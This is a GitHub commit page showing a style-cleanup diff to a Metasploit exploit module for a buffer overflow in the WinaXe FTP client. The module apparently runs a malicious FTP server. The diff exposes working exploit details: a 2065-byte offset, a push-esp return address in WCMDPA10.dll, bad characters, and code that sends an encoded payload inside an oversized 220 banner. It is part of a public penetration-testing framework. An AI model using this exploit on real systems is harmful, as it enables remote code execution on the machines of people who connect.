Skip to content

Commit 099a598

Browse files
committed
Updated with style suggestions from msftidy and rubocop.
Also updated with commented from other contributors.
1 parent 689fc28 commit 099a598

File tree

1 file changed

+9
-9
lines changed

1 file changed

+9
-9
lines changed

modules/exploits/windows/ftp/winaxe_server_ready.rb

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -25,23 +25,26 @@ def initialize(info = {})
2525
'References' =>
2626
[
2727
[ 'EDB', '40693'],
28-
[ 'URL', 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ], # Put this in later
28+
[ 'URL', 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ]
2929
],
3030
'DefaultOptions' =>
3131
{
32-
'EXITFUNC' => 'thread',
32+
'EXITFUNC' => 'thread'
3333
},
3434
'Payload' =>
3535
{
3636
'Space' => 1000,
37-
'BadChars' => "\x00\x0a\x0d",
37+
'BadChars' => "\x00\x0a\x0d"
3838
},
3939
'Platform' => 'win',
4040
'Targets' =>
4141
[
42-
[ 'Windows Universal', {
42+
[ 'Windows Universal',
43+
{
4344
'Offset' => 2065,
44-
'Ret' => 0x68017296} ], # push esp # ret 0x04 WCMDPA10.dll
45+
'Ret' => 0x68017296 # push esp # ret 0x04 WCMDPA10.dll
46+
}
47+
]
4548
],
4649
'Privileged' => false,
4750
'DisclosureDate' => 'Nov 03 2016',
@@ -52,11 +55,10 @@ def setup
5255
super
5356
end
5457

55-
def on_client_unknown_command(c,cmd,arg)
58+
def on_client_unknown_command(c, _cmd, _arg)
5659
c.put("200 OK\r\n")
5760
end
5861

59-
#def on_client_command_list(c,arg)
6062
def on_client_connect(c)
6163
print_status("Client connected...")
6264

@@ -66,10 +68,8 @@ def on_client_connect(c)
6668
sploit << payload.encoded
6769
sploit << make_nops(20)
6870

69-
print_status("Sending exploit")
7071
c.put("220" + sploit + "\r\n")
7172
c.close
72-
return
7373
end
7474

7575
end

0 commit comments

Comments
 (0)